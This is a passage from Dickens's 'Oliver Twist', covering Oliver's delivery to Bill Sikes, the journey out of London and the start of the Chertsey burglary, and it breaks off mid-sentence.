William Sikes; and further, that the said +Sikes should deal with him as he thought fit; and should not be +held responsible by the Jew for any mischance or evil that might +be necessary to visit him: it being understood that, to render +the compact in this respect binding, any representations made by +Mr. Sikes on his return should be required to be confirmed and +corroborated, in all important particulars, by the testimony of +flash Toby Crackit. + +These preliminaries adjusted, Mr. Sikes proceeded to drink brandy +at a furious rate, and to flourish the crowbar in an alarming +manner; yelling forth, at the same time, most unmusical snatches +of song, mingled with wild execrations. At length, in a fit of +professional enthusiasm, he insisted upon producing his box of +housebreaking tools: which he had no sooner stumbled in with, +and opened for the purpose of explaining the nature and +properties of the various implements it contained, and the +peculiar beauties of their construction, than he fell over the +box upon the floor, and went to sleep where he fell. + +'Good-night, Nancy,' said the Jew, muffling himself up as before. + +'Good-night.' + +Their eyes met, and the Jew scrutinised her, narrowly. There was +no flinching about the girl. She was as true and earnest in the +matter as Toby Crackit himself could be. + +The Jew again bade her good-night, and, bestowing a sly kick upon +the prostrate form of Mr. Sikes while her back was turned, groped +downstairs. + +'Always the way!' muttered the Jew to himself as he turned +homeward. 'The worst of these women is, that a very little thing +serves to call up some long-forgotten feeling; and, the best of +them is, that it never lasts. Ha! ha! The man against the +child, for a bag of gold!' + +Beguiling the time with these pleasant reflections, Mr. Fagin +wended his way, through mud and mire, to his gloomy abode: where +the Dodger was sitting up, impatiently awaiting his return. + +'Is Oliver a-bed? I want to speak to him,' was his first remark +as they descended the stairs. + +'Hours ago,' replied the Dodger, throwing open a door. 'Here he +is!' + +The boy was lying, fast asleep, on a rude bed upon the floor; so +pale with anxiety, and sadness, and the closeness of his prison, +that he looked like death; not death as it shows in shroud and +coffin, but in the guise it wears when life has just departed; +when a young and gentle spirit has, but an instant, fled to +Heaven, and the gross air of the world has not had time to +breathe upon the changing dust it hallowed. + +'Not now,' said the Jew, turning softly away. 'To-morrow. +To-morrow.' + + + + +CHAPTER XX + +WHEREIN OLVER IS DELIVERED OVER TO MR. WILLIAM SIKES + +When Oliver awoke in the morning, he was a good deal surprised to +find that a new pair of shoes, with strong thick soles, had been +placed at his bedside; and that his old shoes had been removed. +At first, he was pleased with the discovery: hoping that it might +be the forerunner of his release; but such thoughts were quickly +dispelled, on his sitting down to breakfast along with the Jew, +who told him, in a tone and manner which increased his alarm, +that he was to be taken to the residence of Bill Sikes that +night. + +'To--to--stop there, sir?' asked Oliver, anxiously. + +'No, no, my dear. Not to stop there,' replied the Jew. 'We +shouldn't like to lose you. Don't be afraid, Oliver, you shall +come back to us again. Ha! ha! ha! We won't be so cruel as to +send you away, my dear. Oh no, no!' + +The old man, who was stooping over the fire toasting a piece of +bread, looked round as he bantered Oliver thus; and chuckled as +if to show that he knew he would still be very glad to get away +if he could. + +'I suppose,' said the Jew, fixing his eyes on Oliver, 'you want +to know what you're going to Bill's for---eh, my dear?' + +Oliver coloured, involuntarily, to find that the old thief had +been reading his thoughts; but boldly said, Yes, he did want to +know. + +'Why, do you think?' inquired Fagin, parrying the question. + +'Indeed I don't know, sir,' replied Oliver. + +'Bah!' said the Jew, turning away with a disappointed countenance +from a close perusal of the boy's face. 'Wait till Bill tells +you, then.' + +The Jew seemed much vexed by Oliver's not expressing any greater +curiosity on the subject; but the truth is, that, although Oliver +felt very anxious, he was too much confused by the earnest +cunning of Fagin's looks, and his own speculations, to make any +further inquiries just then. He had no other opportunity: for +the Jew remained very surly and silent till night: when he +prepared to go abroad. + +'You may burn a candle,' said the Jew, putting one upon the +table. 'And here's a book for you to read, till they come to +fetch you. Good-night!' + +'Good-night!' replied Oliver, softly. + +The Jew walked to the door: looking over his shoulder at the boy +as he went. Suddenly stopping, he called him by his name. + +Oliver looked up; the Jew, pointing to the candle, motioned him +to light it. He did so; and, as he placed the candlestick upon +the table, saw that the Jew was gazing fixedly at him, with +lowering and contracted brows, from the dark end of the room. + +'Take heed, Oliver! take heed!' said the old man, shaking his +right hand before him in a warning manner. 'He's a rough man, +and thinks nothing of blood when his own is up. Whatever falls +out, say nothing; and do what he bids you. Mind!' Placing a +strong emphasis on the last word, he suffered his features +gradually to resolve themselves into a ghastly grin, and, nodding +his head, left the room. + +Oliver leaned his head upon his hand when the old man +disappeared, and pondered, with a trembling heart, on the words +he had just heard. The more he thought of the Jew's admonition, +the more he was at a loss to divine its real purpose and meaning. + +He could think of no bad object to be attained by sending him to +Sikes, which would not be equally well answered by his remaining +with Fagin; and after meditating for a long time, concluded that +he had been selected to perform some ordinary menial offices for +the housebreaker, until another boy, better suited for his +purpose could be engaged. He was too well accustomed to +suffering, and had suffered too much where he was, to bewail the +prospect of change very severely. He remained lost in thought +for some minutes; and then, with a heavy sigh, snuffed the +candle, and, taking up the book which the Jew had left with him, +began to read. + +He turned over the leaves. Carelessly at first; but, lighting on +a passage which attracted his attention, he soon became intent +upon the volume. It was a history of the lives and trials of +great criminals; and the pages were soiled and thumbed with use. +Here, he read of dreadful crimes that made the blood run cold; of +secret murders that had been committed by the lonely wayside; of +bodies hidden from the eye of man in deep pits and wells: which +would not keep them down, deep as they were, but had yielded them +up at last, after many years, and so maddened the murderers with +the sight, that in their horror they had confessed their guilt, +and yelled for the gibbet to end their agony. Here, too, he read +of men who, lying in their beds at dead of night, had been +tempted (so they said) and led on, by their own bad thoughts, to +such dreadful bloodshed as it made the flesh creep, and the limbs +quail, to think of. The terrible descriptions were so real and +vivid, that the sallow pages seemed to turn red with gore; and +the words upon them, to be sounded in his ears, as if they were +whispered, in hollow murmurs, by the spirits of the dead. + +In a paroxysm of fear, the boy closed the book, and thrust it +from him. Then, falling upon his knees, he prayed Heaven to +spare him from such deeds; and rather to will that he should die +at once, than be reserved for crimes, so fearful and appalling. +By degrees, he grew more calm, and besought, in a low and broken +voice, that he might be rescued from his present dangers; and +that if any aid were to be raised up for a poor outcast boy who +had never known the love of friends or kindred, it might come to +him now, when, desolate and deserted, he stood alone in the midst +of wickedness and guilt. + +He had concluded his prayer, but still remained with his head +buried in his hands, when a rustling noise aroused him. + +'What's that!' he cried, starting up, and catching sight of a +figure standing by the door. 'Who's there?' + +'Me. Only me,' replied a tremulous voice. + +Oliver raised the candle above his head: and looked towards the +door. It was Nancy. + +'Put down the light,' said the girl, turning away her head. 'It +hurts my eyes.' + +Oliver saw that she was very pale, and gently inquired if she +were ill. The girl threw herself into a chair, with her back +towards him: and wrung her hands; but made no reply. + +'God forgive me!' she cried after a while, 'I never thought of +this.' + +'Has anything happened?' asked Oliver. 'Can I help you? I will +if I can. I will, indeed.' + +She rocked herself to and fro; caught her throat; and, uttering a +gurgling sound, gasped for breath. + +'Nancy!' cried Oliver, 'What is it?' + +The girl beat her hands upon her knees, and her feet upon the +ground; and, suddenly stopping, drew her shawl close round her: +and shivered with cold. + +Oliver stirred the fire. Drawing her chair close to it, she sat +there, for a little time, without speaking; but at length she +raised her head, and looked round. + +'I don't know what comes over me sometimes,' said she, affecting +to busy herself in arranging her dress; 'it's this damp dirty +room, I think. Now, Nolly, dear, are you ready?' + +'Am I to go with you?' asked Oliver. + +'Yes. I have come from Bill,' replied the girl. 'You are to go +with me.' + +'What for?' asked Oliver, recoiling. + +'What for?' echoed the girl, raising her eyes, and averting them +again, the moment they encountered the boy's face. 'Oh! For no +harm.' + +'I don't believe it,' said Oliver: who had watched her closely. + +'Have it your own way,' rejoined the girl, affecting to laugh. +'For no good, then.' + +Oliver could see that he had some power over the girl's better +feelings, and, for an instant, thought of appealing to her +compassion for his helpless state. But, then, the thought darted +across his mind that it was barely eleven o'clock; and that many +people were still in the streets: of whom surely some might be +found to give credence to his tale. As the reflection occured to +him, he stepped forward: and said, somewhat hastily, that he was +ready. + +Neither his brief consideration, nor its purport, was lost on his +companion. She eyed him narrowly, while he spoke; and cast upon +him a look of intelligence which sufficiently showed that she +guessed what had been passing in his thoughts. + +'Hush!' said the girl, stooping over him, and pointing to the +door as she looked cautiously round. 'You can't help yourself. I +have tried hard for you, but all to no purpose. You are hedged +round and round. If ever you are to get loose from here, this is +not the time.' + +Struck by the energy of her manner, Oliver looked up in her face +with great surprise. She seemed to speak the truth; her +countenance was white and agitated; and she trembled with very +earnestness. + +'I have saved you from being ill-used once, and I will again, and +I do now,' continued the girl aloud; 'for those who would have +fetched you, if I had not, would have been far more rough than +me. I have promised for your being quiet and silent; if you are +not, you will only do harm to yourself and me too, and perhaps be +my death. See here! I have borne all this for you already, as +true as God sees me show it.' + +She pointed, hastily, to some livid bruises on her neck and arms; +and continued, with great rapidity: + +'Remember this! And don't let me suffer more for you, just now. +If I could help you, I would; but I have not the power. They +don't mean to harm you; whatever they make you do, is no fault of +yours. Hush! Every word from you is a blow for me. Give me +your hand. Make haste! Your hand!' + +She caught the hand which Oliver instinctively placed in hers, +and, blowing out the light, drew him after her up the stairs. The +door was opened, quickly, by some one shrouded in the darkness, +and was as quickly closed, when they had passed out. A +hackney-cabriolet was in waiting; with the same vehemence which +she had exhibited in addressing Oliver, the girl pulled him in +with her, and drew the curtains close. The driver wanted no +directions, but lashed his horse into full speed, without the +delay of an instant. + +The girl still held Oliver fast by the hand, and continued to +pour into his ear, the warnings and assurances she had already +imparted. All was so quick and hurried, that he had scarcely +time to recollect where he was, or how he came there, when the +carriage stopped at the house to which the Jew's steps had been +directed on the previous evening. + +For one brief moment, Oliver cast a hurried glance along the +empty street, and a cry for help hung upon his lips. But the +girl's voice was in his ear, beseeching him in such tones of +agony to remember her, that he had not the heart to utter it. +While he hesitated, the opportunity was gone; he was already in +the house, and the door was shut. + +'This way,' said the girl, releasing her hold for the first time. +'Bill!' + +'Hallo!' replied Sikes: appearing at the head of the stairs, with +a candle. 'Oh! That's the time of day. Come on!' + +This was a very strong expression of approbation, an uncommonly +hearty welcome, from a person of Mr. Sikes' temperament. Nancy, +appearing much gratified thereby, saluted him cordially. + +'Bull's-eye's gone home with Tom,' observed Sikes, as he lighted +them up. 'He'd have been in the way.' + +'That's right,' rejoined Nancy. + +'So you've got the kid,' said Sikes when they had all reached the +room: closing the door as he spoke. + +'Yes, here he is,' replied Nancy. + +'Did he come quiet?' inquired Sikes. + +'Like a lamb,' rejoined Nancy. + +'I'm glad to hear it,' said Sikes, looking grimly at Oliver; 'for +the sake of his young carcase: as would otherways have suffered +for it. Come here, young 'un; and let me read you a lectur', +which is as well got over at once.' + +Thus addressing his new pupil, Mr. Sikes pulled off Oliver's cap +and threw it into a corner; and then, taking him by the shoulder, +sat himself down by the table, and stood the boy in front of him. + +'Now, first: do you know wot this is?' inquired Sikes, taking up +a pocket-pistol which lay on the table. + +Oliver replied in the affirmative. + +'Well, then, look here,' continued Sikes. 'This is powder; that +'ere's a bullet; and this is a little bit of a old hat for +waddin'.' + +Oliver murmured his comprehension of the different bodies +referred to; and Mr. Sikes proceeded to load the pistol, with +great nicety and deliberation. + +'Now it's loaded,' said Mr. Sikes, when he had finished. + +'Yes, I see it is, sir,' replied Oliver. + +'Well,' said the robber, grasping Oliver's wrist, and putting the +barrel so close to his temple that they touched; at which moment +the boy could not repress a start; 'if you speak a word when +you're out o'doors with me, except when I speak to you, that +loading will be in your head without notice. So, if you _do_ make +up your mind to speak without leave, say your prayers first.' + +Having bestowed a scowl upon the object of this warning, to +increase its effect, Mr. Sikes continued. + +'As near as I know, there isn't anybody as would be asking very +partickler arter you, if you _was_ disposed of; so I needn't take +this devil-and-all of trouble to explain matters to you, if it +warn't for your own good. D'ye hear me?' + +'The short and the long of what you mean,' said Nancy: speaking +very emphatically, and slightly frowning at Oliver as if to +bespeak his serious attention to her words: 'is, that if you're +crossed by him in this job you have on hand, you'll prevent his +ever telling tales afterwards, by shooting him through the head, +and will take your chance of swinging for it, as you do for a +great many other things in the way of business, every month of +your life.' + +'That's it!' observed Mr. Sikes, approvingly; 'women can always +put things in fewest words.--Except when it's blowing up; and +then they lengthens it out. And now that he's thoroughly up to +it, let's have some supper, and get a snooze before starting.' + +In pursuance of this request, Nancy quickly laid the cloth; +disappearing for a few minutes, she presently returned with a pot +of porter and a dish of sheep's heads: which gave occasion to +several pleasant witticisms on the part of Mr. Sikes, founded +upon the singular coincidence of 'jemmies' being a can name, +common to them, and also to an ingenious implement much used in +his profession. Indeed, the worthy gentleman, stimulated perhaps +by the immediate prospect of being on active service, was in +great spirits and good humour; in proof whereof, it may be here +remarked, that he humourously drank all the beer at a draught, +and did not utter, on a rough calculation, more than four-score +oaths during the whole progress of the meal. + +Supper being ended--it may be easily conceived that Oliver had no +great appetite for it--Mr. Sikes disposed of a couple of glasses +of spirits and water, and threw himself on the bed; ordering +Nancy, with many imprecations in case of failure, to call him at +five precisely. Oliver stretched himself in his clothes, by +command of the same authority, on a mattress upon the floor; and +the girl, mending the fire, sat before it, in readiness to rouse +them at the appointed time. + +For a long time Oliver lay awake, thinking it not impossible that +Nancy might seek that opportunity of whispering some further +advice; but the girl sat brooding over the fire, without moving, +save now and then to trim the light. Weary with watching and +anxiety, he at length fell asleep. + +When he awoke, the table was covered with tea-things, and Sikes +was thrusting various articles into the pockets of his +great-coat, which hung over the back of a chair. Nancy was +busily engaged in preparing breakfast. It was not yet daylight; +for the candle was still burning, and it was quite dark outside. +A sharp rain, too, was beating against the window-panes; and the +sky looked black and cloudy. + +'Now, then!' growled Sikes, as Oliver started up; 'half-past +five! Look sharp, or you'll get no breakfast; for it's late as +it is.' + +Oliver was not long in making his toilet; having taken some +breakfast, he replied to a surly inquiry from Sikes, by saying +that he was quite ready. + +Nancy, scarcely looking at the boy, threw him a handkerchief to +tie round his throat; Sikes gave him a large rough cape to button +over his shoulders. Thus attired, he gave his hand to the +robber, who, merely pausing to show him with a menacing gesture +that he had that same pistol in a side-pocket of his great-coat, +clasped it firmly in his, and, exchanging a farewell with Nancy, +led him away. + +Oliver turned, for an instant, when they reached the door, in the +hope of meeting a look from the girl. But she had resumed her +old seat in front of the fire, and sat, perfectly motionless +before it. + + + + +CHAPTER XXI + +THE EXPEDITION + +It was a cheerless morning when they got into the street; blowing +and raining hard; and the clouds looking dull and stormy. The +night had been very wet: large pools of water had collected in +the road: and the kennels were overflowing. There was a faint +glimmering of the coming day in the sky; but it rather aggravated +than relieved the gloom of the scene: the sombre light only +serving to pale that which the street lamps afforded, without +shedding any warmer or brighter tints upon the wet house-tops, +and dreary streets. There appeared to be nobody stirring in that +quarter of the town; the windows of the houses were all closely +shut; and the streets through which they passed, were noiseless +and empty. + +By the time they had turned into the Bethnal Green Road, the day +had fairly begun to break. Many of the lamps were already +extinguished; a few country waggons were slowly toiling on, +towards London; now and then, a stage-coach, covered with mud, +rattled briskly by: the driver bestowing, as he passed, and +admonitory lash upon the heavy waggoner who, by keeping on the +wrong side of the road, had endangered his arriving at the +office, a quarter of a minute after his time. The public-houses, +with gas-lights burning inside, were already open. By degrees, +other shops began to be unclosed, and a few scattered people were +met with. Then, came straggling groups of labourers going to +their work; then, men and women with fish-baskets on their heads; +donkey-carts laden with vegetables; chaise-carts filled with +live-stock or whole carcasses of meat; milk-women with pails; an +unbroken concourse of people, trudging out with various supplies +to the eastern suburbs of the town. As they approached the City, +the noise and traffic gradually increased; when they threaded the +streets between Shoreditch and Smithfield, it had swelled into a +roar of sound and bustle. It was as light as it was likely to +be, till night came on again, and the busy morning of half the +London population had begun. + +Turning down Sun Street and Crown Street, and crossing Finsbury +square, Mr. Sikes struck, by way of Chiswell Street, into +Barbican: thence into Long Lane, and so into Smithfield; from +which latter place arose a tumult of discordant sounds that +filled Oliver Twist with amazement. + +It was market-morning. The ground was covered, nearly +ankle-deep, with filth and mire; a thick steam, perpetually +rising from the reeking bodies of the cattle, and mingling with +the fog, which seemed to rest upon the chimney-tops, hung heavily +above. All the pens in the centre of the large area, and as many +temporary pens as could be crowded into the vacant space, were +filled with sheep; tied up to posts by the gutter side were long +lines of beasts and oxen, three or four deep. Countrymen, +butchers, drovers, hawkers, boys, thieves, idlers, and vagabonds +of every low grade, were mingled together in a mass; the +whistling of drovers, the barking dogs, the bellowing and +plunging of the oxen, the bleating of sheep, the grunting and +squeaking of pigs, the cries of hawkers, the shouts, oaths, and +quarrelling on all sides; the ringing of bells and roar of +voices, that issued from every public-house; the crowding, +pushing, driving, beating, whooping and yelling; the hideous and +discordant dim that resounded from every corner of the market; +and the unwashed, unshaven, squalid, and dirty figures constantly +running to and fro, and bursting in and out of the throng; +rendered it a stunning and bewildering scene, which quite +confounded the senses. + +Mr. Sikes, dragging Oliver after him, elbowed his way through the +thickest of the crowd, and bestowed very little attention on the +numerous sights and sounds, which so astonished the boy. He +nodded, twice or thrice, to a passing friend; and, resisting as +many invitations to take a morning dram, pressed steadily onward, +until they were clear of the turmoil, and had made their way +through Hosier Lane into Holborn. + +'Now, young 'un!' said Sikes, looking up at the clock of St. +Andrew's Church, 'hard upon seven! you must step out. Come, +don't lag behind already, Lazy-legs!' + +Mr. Sikes accompanied this speech with a jerk at his little +companion's wrist; Oliver, quickening his pace into a kind of +trot between a fast walk and a run, kept up with the rapid +strides of the house-breaker as well as he could. + +They held their course at this rate, until they had passed Hyde +Park corner, and were on their way to Kensington: when Sikes +relaxed his pace, until an empty cart which was at some little +distance behind, came up. Seeing 'Hounslow' written on it, he +asked the driver with as much civility as he could assume, if he +would give them a lift as far as Isleworth. + +'Jump up,' said the man. 'Is that your boy?' + +'Yes; he's my boy,' replied Sikes, looking hard at Oliver, and +putting his hand abstractedly into the pocket where the pistol +was. + +'Your father walks rather too quick for you, don't he, my man?' +inquired the driver: seeing that Oliver was out of breath. + +'Not a bit of it,' replied Sikes, interposing. 'He's used to it. + +Here, take hold of my hand, Ned. In with you!' + +Thus addressing Oliver, he helped him into the cart; and the +driver, pointing to a heap of sacks, told him to lie down there, +and rest himself. + +As they passed the different mile-stones, Oliver wondered, more +and more, where his companion meant to take him. Kensington, +Hammersmith, Chiswick, Kew Bridge, Brentford, were all passed; +and yet they went on as steadily as if they had only just begun +their journey. At length, they came to a public-house called the +Coach and Horses; a little way beyond which, another road +appeared to run off. And here, the cart stopped. + +Sikes dismounted with great precipitation, holding Oliver by the +hand all the while; and lifting him down directly, bestowed a +furious look upon him, and rapped the side-pocket with his fist, +in a significant manner. + +'Good-bye, boy,' said the man. + +'He's sulky,' replied Sikes, giving him a shake; 'he's sulky. A +young dog! Don't mind him.' + +'Not I!' rejoined the other, getting into his cart. 'It's a fine +day, after all.' And he drove away. + +Sikes waited until he had fairly gone; and then, telling Oliver +he might look about him if he wanted, once again led him onward +on his journey. + +They turned round to the left, a short way past the public-house; +and then, taking a right-hand road, walked on for a long time: +passing many large gardens and gentlemen's houses on both sides +of the way, and stopping for nothing but a little beer, until +they reached a town. Here against the wall of a house, Oliver +saw written up in pretty large letters, 'Hampton.' They lingered +about, in the fields, for some hours. At length they came back +into the town; and, turning into an old public-house with a +defaced sign-board, ordered some dinner by the kitchen fire. + +The kitchen was an old, low-roofed room; with a great beam across +the middle of the ceiling, and benches, with high backs to them, +by the fire; on which were seated several rough men in +smock-frocks, drinking and smoking. They took no notice of +Oliver; and very little of Sikes; and, as Sikes took very little +notice of them, he and his young comrade sat in a corner by +themselves, without being much troubled by their company. + +They had some cold meat for dinner, and sat so long after it, +while Mr. Sikes indulged himself with three or four pipes, that +Oliver began to feel quite certain they were not going any +further. Being much tired with the walk, and getting up so +early, he dozed a little at first; then, quite overpowered by +fatigue and the fumes of the tobacco, fell asleep. + +It was quite dark when he was awakened by a push from Sikes. +Rousing himself sufficiently to sit up and look about him, he +found that worthy in close fellowship and communication with a +labouring man, over a pint of ale. + +'So, you're going on to Lower Halliford, are you?' inquired +Sikes. + +'Yes, I am,' replied the man, who seemed a little the worse--or +better, as the case might be--for drinking; 'and not slow about +it neither. My horse hasn't got a load behind him going back, as +he had coming up in the mornin'; and he won't be long a-doing of +it. Here's luck to him. Ecod! he's a good 'un!' + +'Could you give my boy and me a lift as far as there?' demanded +Sikes, pushing the ale towards his new friend. + +'If you're going directly, I can,' replied the man, looking out +of the pot. 'Are you going to Halliford?' + +'Going on to Shepperton,' replied Sikes. + +'I'm your man, as far as I go,' replied the other. 'Is all paid, +Becky?' + +'Yes, the other gentleman's paid,' replied the girl. + +'I say!' said the man, with tipsy gravity; 'that won't do, you +know.' + +'Why not?' rejoined Sikes. 'You're a-going to accommodate us, +and wot's to prevent my standing treat for a pint or so, in +return?' + +The stranger reflected upon this argument, with a very profound +face; having done so, he seized Sikes by the hand: and declared +he was a real good fellow. To which Mr. Sikes replied, he was +joking; as, if he had been sober, there would have been strong +reason to suppose he was. + +After the exchange of a few more compliments, they bade the +company good-night, and went out; the girl gathering up the pots +and glasses as they did so, and lounging out to the door, with +her hands full, to see the party start. + +The horse, whose health had been drunk in his absence, was +standing outside: ready harnessed to the cart. Oliver and Sikes +got in without any further ceremony; and the man to whom he +belonged, having lingered for a minute or two 'to bear him up,' +and to defy the hostler and the world to produce his equal, +mounted also. Then, the hostler was told to give the horse his +head; and, his head being given him, he made a very unpleasant +use of it: tossing it into the air with great disdain, and +running into the parlour windows over the way; after performing +those feats, and supporting himself for a short time on his +hind-legs, he started off at great speed, and rattled out of the +town right gallantly. + +The night was very dark. A damp mist rose from the river, and +the marshy ground about; and spread itself over the dreary +fields. It was piercing cold, too; all was gloomy and black. +Not a word was spoken; for the driver had grown sleepy; and Sikes +was in no mood to lead him into conversation. Oliver sat huddled +together, in a corner of the cart; bewildered with alarm and +apprehension; and figuring strange objects in the gaunt trees, +whose branches waved grimly to and fro, as if in some fantastic +joy at the desolation of the scene. + +As they passed Sunbury Church, the clock struck seven. There was +a light in the ferry-house window opposite: which streamed +across the road, and threw into more sombre shadow a dark +yew-tree with graves beneath it. There was a dull sound of +falling water not far off; and the leaves of the old tree stirred +gently in the night wind. It seemed like quiet music for the +repose of the dead. + +Sunbury was passed through, and they came again into the lonely +road. Two or three miles more, and the cart stopped. Sikes +alighted, took Oliver by the hand, and they once again walked on. + +They turned into no house at Shepperton, as the weary boy had +expected; but still kept walking on, in mud and darkness, through +gloomy lanes and over cold open wastes, until they came within +sight of the lights of a town at no great distance. On looking +intently forward, Oliver saw that the water was just below them, +and that they were coming to the foot of a bridge. + +Sikes kept straight on, until they were close upon the bridge; +then turned suddenly down a bank upon the left. + +'The water!' thought Oliver, turning sick with fear. 'He has +brought me to this lonely place to murder me!' + +He was about to throw himself on the ground, and make one +struggle for his young life, when he saw that they stood before a +solitary house: all ruinous and decayed. There was a window on +each side of the dilapidated entrance; and one story above; but +no light was visible. The house was dark, dismantled: and the +all appearance, uninhabited. + +Sikes, with Oliver's hand still in his, softly approached the low +porch, and raised the latch. The door yielded to the pressure, +and they passed in together. + + + + +CHAPTER XXII + +THE BURGLARY + +'Hallo!' cried a loud, hoarse voice, as soon as they set foot in +the passage. + +'Don't make such a row,' said Sikes, bolting the door. 'Show a +glim, Toby.' + +'Aha! my pal!' cried the same voice. 'A glim, Barney, a glim! +Show the gentleman in, Barney; wake up first, if convenient.' + +The speaker appeared to throw a boot-jack, or some such article, +at the person he addressed, to rouse him from his slumbers: for +the noise of a wooden body, falling violently, was heard; and +then an indistinct muttering, as of a man between sleep and +awake. + +'Do you hear?' cried the same voice. 'There's Bill Sikes in the +passage with nobody to do the civil to him; and you sleeping +there, as if you took laudanum with your meals, and nothing +stronger. Are you any fresher now, or do you want the iron +candlestick to wake you thoroughly?' + +A pair of slipshod feet shuffled, hastily, across the bare floor +of the room, as this interrogatory was put; and there issued, +from a door on the right hand; first, a feeble candle: and next, +the form of the same individual who has been heretofore described +as labouring under the infirmity of speaking through his nose, +and officiating as waiter at the public-house on Saffron Hill. + +'Bister Sikes!' exclaimed Barney, with real or counterfeit joy; +'cub id, sir; cub id.' + +'Here! you get on first,' said Sikes, putting Oliver in front of +him. 'Quicker! or I shall tread upon your heels.' + +Muttering a curse upon his tardiness, Sikes pushed Oliver before +him; and they entered a low dark room with a smoky fire, two or +three broken chairs, a table, and a very old couch: on which, +with his legs much higher than his head, a man was reposing at +full length, smoking a long clay pipe. He was dressed in a +smartly-cut snuff-coloured coat, with large brass buttons; an +orange neckerchief; a coarse, staring, shawl-pattern waistcoat; +and drab breeches. Mr. Crackit (for he it was) had no very great +quantity of hair, either upon his head or face; but what he had, +was of a reddish dye, and tortured into long corkscrew curls, +through which he occasionally thrust some very dirty fingers, +ornamented with large common rings. He was a trifle above the +middle size, and apparently rather weak in the legs; but this +circumstance by no means detracted from his own admiration of his +top-boots, which he contemplated, in their elevated situation, +with lively satisfaction. + +'Bill, my boy!' said this figure, turning his head towards the +door, 'I'm glad to see you. I was almost afraid you'd given it +up: in which case I should have made a personal wentur. Hallo!' + +Uttering this exclamation in a tone of great surprise, as his +eyes rested on Oliver, Mr. Toby Crackit brought himself into a +sitting posture, and demanded who that was. + +'The boy. Only the boy!' replied Sikes, drawing a chair towards +the fire. + +'Wud of Bister Fagid's lads,' exclaimed Barney, with a grin. + +'Fagin's, eh!' exclaimed Toby, looking at Oliver. 'Wot an +inwalable boy that'll make, for the old ladies' pockets in +chapels! His mug is a fortin' to him.' + +'There--there's enough of that,' interposed Sikes, impatiently; +and stooping over his recumbant friend, he whispered a few words +in his ear: at which Mr. Crackit laughed immensely, and honoured +Oliver with a long stare of astonishment. + +'Now,' said Sikes, as he resumed his seat, 'if you'll give us +something to eat and drink while we're waiting, you'll put some +heart in us; or in me, at all events. Sit down by the fire, +younker, and rest yourself; for you'll have to go out with us +again to-night, though not very far off.' + +Oliver looked at Sikes, in mute and timid wonder; and drawing a +stool to the fire, sat with his aching head upon his hands, +scarecely knowing where he was, or what was passing around him. + +'Here,' said Toby, as the young Jew placed some fragments of +food, and a bottle upon the table, 'Success to the crack!' He +rose to honour the toast; and, carefully depositing his empty +pipe in a corner, advanced to the table, filled a glass with +spirits, and drank off its contents. Mr. Sikes did the same. + +'A drain for the boy,' said Toby, half-filling a wine-glass. +'Down with it, innocence.' + +'Indeed,' said Oliver, looking piteously up into the man's face; +'indeed, I--' + +'Down with it!' echoed Toby. 'Do you think I don't know what's +good for you? Tell him to drink it, Bill.' + +'He had better!' said Sikes clapping his hand upon his pocket. +'Burn my body, if he isn't more trouble than a whole family of +Dodgers. Drink it, you perwerse imp; drink it!' + +Frightened by the menacing gestures of the two men, Oliver +hastily swallowed the contents of the glass, and immediately fell +into a violent fit of coughing: which delighted Toby Crackit and +Barney, and even drew a smile from the surly Mr. Sikes. + +This done, and Sikes having satisfied his appetite (Oliver could +eat nothing but a small crust of bread which they made him +swallow), the two men laid themselves down on chairs for a short +nap. Oliver retained his stool by the fire; Barney wrapped in a +blanket, stretched himself on the floor: close outside the +fender. + +They slept, or appeared to sleep, for some time; nobody stirring +but Barney, who rose once or twice to throw coals on the fire. +Oliver fell into a heavy doze: imagining himself straying along +the gloomy lanes, or wandering about the dark churchyard, or +retracing some one or other of the scenes of the past day: when +he was roused by Toby Crackit jumping up and declaring it was +half-past one. + +In an instant, the other two were on their legs, and all were +actively engaged in busy preparation. Sikes and his companion +enveloped their necks and chins in large dark shawls, and drew on +their great-coats; Barney, opening a cupboard, brought forth +several articles, which he hastily crammed into the pockets. + +'Barkers for me, Barney,' said Toby Crackit. + +'Here they are,' replied Barney, producing a pair of pistols. +'You loaded them yourself.' + +'All right!' replied Toby, stowing them away. 'The persuaders?' + +'I've got 'em,' replied Sikes. + +'Crape, keys, centre-bits, darkies--nothing forgotten?' inquired +Toby: fastening a small crowbar to a loop inside the skirt of +his coat. + +'All right,' rejoined his companion. 'Bring them bits of timber, +Barney. That's the time of day.' + +With these words, he took a thick stick from Barney's hands, who, +having delivered another to Toby, busied himself in fastening on +Oliver's cape. + +'Now then!' said Sikes, holding out his hand. + +Oliver: who was completely stupified by the unwonted exercise, +and the air, and the drink which had been forced upon him: put +his hand mechanically into that which Sikes extended for the +purpose. + +'Take his other hand, Toby,' said Sikes. 'Look out, Barney.' + +The man went to the door, and returned to announce that all was +quiet. The two robbers issued forth with Oliver between them. +Barney, having made all fast, rolled himself up as before, and +was soon asleep again. + +It was now intensely dark. The fog was much heavier than it had +been in the early part of the night; and the atmosphere was so +damp, that, although no rain fell, Oliver's hair and eyebrows, +within a few minutes after leaving the house, had become stiff +with the half-frozen moisture that was floating about. They +crossed the bridge, and kept on towards the lights which he had +seen before. They were at no great distance off; and, as they +walked pretty briskly, they soon arrived at Chertsey. + +'Slap through the town,' whispered Sikes; 'there'll be nobody in +the way, to-night, to see us.' + +Toby acquiesced; and they hurried through the main street of the +little town, which at that late hour was wholly deserted. A dim +light shone at intervals from some bed-room window; and the +hoarse barking of dogs occasionally broke the silence of the +night. But there was nobody abroad. They had cleared the town, +as the church-bell struck two. + +Quickening their pace, they turned up a road upon the left hand. +After walking about a quarter of a mile, they stopped before a +detached house surrounded by a wall: to the top of which, Toby +Crackit, scarcely pausing to take breath, climbed in a twinkling. + +'The boy next,' said Toby. 'Hoist him up; I'll catch hold of +him.' + +Before Oliver had time to look round, Sikes had caught him under +the arms; and in three or four seconds he and Toby were lying on +the grass on the other side. Sikes followed directly. And they +stole cautiously towards the house. + +And now, for the first time, Oliver, well-nigh mad with grief and +terror, saw that housebreaking and robbery, if not murder, were +the objects of the expedition. He clasped his hands together, +and involuntarily uttered a subdued exclamation of horror. A +mist came before his eyes; the cold sweat stood upon his ashy +face; his limbs failed him; and he sank upon his knees. + +'Get up!' murmured Sikes, trembling with rage, and drawing the +pistol from his pocket; 'Get up, or I'll strew your brains upon +the grass.' + +'Oh! for God's sake let me go!' cried Oliver; 'let me run away +and die in the fields. I will never come near London; never, +never! Oh! pray have mercy on me, and do not make me steal. For +the love of all the bright Angels that rest in Heaven, have mercy +upon me!' + +The man to whom this appeal was made, swore a dreadful oath, and +had cocked the pistol, when Toby, striking it from his grasp, +placed his hand upon the boy's mouth, and dragged him to the +house. + +'Hush!' cried the man; 'it won't answer here. Say another word, +and I'll do your business 